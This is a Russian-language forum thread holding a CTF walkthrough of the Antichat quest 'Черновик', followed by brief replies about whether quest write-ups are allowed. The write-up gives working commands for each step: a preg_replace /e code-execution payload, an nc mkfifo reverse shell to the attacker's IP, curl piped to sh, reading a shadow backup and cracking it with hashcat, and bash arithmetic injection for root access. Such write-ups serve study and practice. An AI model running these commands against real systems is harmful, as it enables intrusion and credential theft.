HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.08.2023, 19:07
Kevgen
Новичок
Регистрация: 11.05.2023
Сообщений: 0
С нами: 1585741

Репутация: 0
По умолчанию

Всем привет!
Сегодня разберем квест "Черновик" с платформы Antichat.
В этом райтапе я постараюсь изложить решение таска наиболее подробно.

Итак, приступим!

Поиск точки входа
Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:



Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:



Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():



Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.

Настройка Reverse Shell
Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте ngrok.
Запускаем netcat на нашем устройстве
Код:
nc -lvnp 4444
для прослушивания порта. Далее идем на revshells.com, вводим свой ip, включаем и ищем подходящий revers shell.
Я остановился на
Код:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f
, где my-ip - Ваш белый IP.
Заливаем шелл командой:
Код:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')
. Запускаем, возвращаемся в терминал с netcat'ом.
Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду
Код:
python -c 'import pty; pty.spawn("/bin/bash")'
и получаем интерактивную оболочку.

Ищем уязвимости
Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду
Код:
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh
. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых /etc/shadow.backup.Оригинальный файл /etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.
Откроем:
Код:
cat /etc/shadow.backup
. Видим хэш с солью нужного нам пользователя.

Брутим пароль
Смотрим формат строки в файле:

Код:
$6$xxxxxx$00000000000000000000:14715:0:99999:7:::
Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам не нужно.

Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой
Код:
hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt
, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.
Через несколько минут получаем пароль.



Теперь подключаемся ко второму IP по ssh командой:
Код:
ssh derek@62.173.140.174 -p 18722
. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем:
Код:
cat first_part
.
Сохраняем первую часть в блокноте.



Повышаем привилегии
Первую часть флага мы получили, неплохо бы и вторую отыскать . Для этого будем повышать наши права на сервере до root'а.

Выполнив
Код:
sudo -l
открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение с
. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения ), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же ссылку видим нужный нам пример повышения привилегий.

Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не
Код:
a[$(/bin/sh >&2)]+42
, а
Код:
[$(ls /root/ >&2)]+1337
, для чтения директории root.
И мы видим наш последний файл!
Открываем его командой
Код:
a[$(cat /root/last_part >&2)]+1337
и получаем последнюю часть флага!

Соединяем две части флага и сдаем.

Спасибо за прочтение!
Если есть пожелание или критика - пишите!
 
Ответить с цитированием

  #2  
Старый 01.08.2023, 20:11
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Вррайтапы на квесты запрещены же.
 
Ответить с цитированием

  #3  
Старый 01.08.2023, 20:15
Kevgen
Новичок
Регистрация: 11.05.2023
Сообщений: 0
С нами: 1585741

Репутация: 0
По умолчанию

Цитата:

ALT1RE сказал(а):

Вррайтапы на квесты запрещены же.

Здравствуйте! Если Вам не трудно, можете, пожалуйста, прислать сообщение где админы писали что запрещено, так как я такового не нашел.
Кроме того, на форуме есть и другой врайтап по квесту, его не банят.
Так что, если это запрещено админами - удаляю
 
Ответить с цитированием

  #4  
Старый 01.08.2023, 20:35
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Пост из группы в телеге.
 
Ответить с цитированием

  #5  
Старый 01.08.2023, 20:40
Kevgen
Новичок
Регистрация: 11.05.2023
Сообщений: 0
С нами: 1585741

Репутация: 0
По умолчанию

Цитата:

ALT1RE сказал(а):

Пост из группы в телеге.

Спасибо! Уже отправил жалобу на пост (не знаю как другим способом удалить)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.